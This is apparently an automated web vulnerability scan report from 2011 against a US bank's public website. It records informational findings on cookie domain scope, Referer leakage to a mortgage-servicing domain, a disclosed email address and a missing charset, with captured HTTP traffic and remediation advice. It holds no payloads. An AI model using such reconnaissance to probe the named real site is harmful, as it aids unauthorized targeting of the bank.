If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /redirectcentral.cfm?redirectid=5343 HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/7.5 Set-Cookie: CAMPIDTYPE=9999;domain=.usbank.com;expires=Fri, 08-Mar-2041 12:00:15 GMT;path=/ Set-Cookie: CAMPID=r5343;domain=.usbank.com;expires=Fri, 08-Mar-2041 12:00:15 GMT;path=/ Set-Cookie: CAMPIDTYPE=0;domain=.usbank.com;expires=Fri, 08-Mar-2041 12:00:15 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:00:15 GMT Connection: close Content-Length: 516
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The response contains the following link to another domain:
https://carenet.fnfismd.com/usbank/ACCLogin.jsp
Request
GET /cgi_w/cfm/personal/sub_global/online_statements.cfm?src=MgAcctMM HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:00:03 GMT Connection: close Content-Length: 21058
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>Online Statements</title>
<link rel="stylesheet" href="/en/legacy/style/global/global.css" type="text ...[SNIP]... <li class="contentcopy"><a class="contentcopy" href="https://carenet.fnfismd.com/usbank/ACCLogin.jsp">Login to the Loan Servicing Center</a> ...[SNIP]... </ul> Not enrolled in the Mortgage Loan Servicing Center yet? <a class="contentcopy" href="https://carenet.fnfismd.com/usbank/ACCLogin.jsp">Enroll now</a> ...[SNIP]...
GET /en/personal/products_and_services/onlinebanking.cfm?src=BankingMM HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:45 GMT Connection: close Content-Length: 25342
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Cont ...[SNIP]... <li><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=117565&p=irol-news">Press Releases</a> ...[SNIP]... <li><a href="https://carenet.fnfismd.com/usbank/ACCLogin.jsp">Pay & View Your Mortgage</a> ...[SNIP]...
GET /usbanklocations/LanguageController?target=search&language=es HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Cache-Control: no-cache="set-cookie, set-cookie2" Content-Type: text/html; charset=ISO-8859-1 Content-Language: es Expires: Thu, 01 Dec 1994 16:00:00 GMT Server: Microsoft-IIS/7.5 Set-Cookie: JSESSIONID=00004FoA-jF_i-zN2rstltnCFTj:-1; Path=/usbanklocations Server: WebSphere Application Server/6.1 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:49 GMT Connection: close Content-Length: 25381
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
fraud_help@usbank.com
Request
GET /cgi_w/cfm/about/online_security/online_fraud.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:00:12 GMT Connection: close Content-Length: 17731
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /cust_serv_cs.html HTTP/1.1 Host: www.usbank.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: USBHOMEPAGEPREF=; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; mbox=check#true#1300278129|session#1300278068498-162067#1300279929; CookieEnabled=true; s_pers=%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_lv%3D1300278074758%7C1394886074758%3B%20s_lv_s%3DFirst%2520Visit%7C1300279874758%3B%20s_nr%3D1300278074763-New%7C1473078074763%3B%20s_invisit%3Dtrue%7C1300279874764%3B%20sc_visit_start%3D1%7C1300279874766%3B%20s_visitStart%3Dno%2520value%7C1300279874768%3B%20s_prevPage%3Dusb%253Achecking%253Aindex.html%7C1300279874769%3B; s_sess=%20s_linkTrack%3DPersonal%2520Home%2520Page%255E%255EChecking%255E%255EPersonal%2520Home%2520Page%2520%257C%2520Checking%255E%255E%3B%20s_ria%3Dflash%252010%257Csilverlight%25204.0%3B%20s_ppv%3D73%3B%20s_cc%3Dtrue%3B%20SiteC_LINKS%3Dusb%253Achecking%253Aindex.html%255E%255ELog%2520In%2520to%2520Your%2520Account%255E%255Eusb%253Achecking%253Aindex.html%2520%257C%2520Log%2520In%2520to%2520Your%2520Account%255E%255E%3B%20s_sq%3Dusbankcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.usbank.com%2525252Fchecking%2525252Findex.html%252526oid%25253Dhttps%2525253A%2525252F%2525252Fwww4.usbank.com%2525252FinternetBanking%2525252FRequestRouter%2525253FrequestCmdId%2525253DDisplayLoginPage_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; CAMPID=""
Response
HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Tue, 06 Sep 2005 23:32:13 GMT Accept-Ranges: bytes ETag: "803c62353bb3c51:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:22:09 GMT Content-Length: 393
<!--- Converted for SR12850 5.2005 ljq --->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <SCRIPT language="JavaScript1.1"> <!-- location.replace("/cgi_w/c ...[SNIP]...
Report generated by XSS.CX at Thu Mar 17 15:27:44 CDT 2011.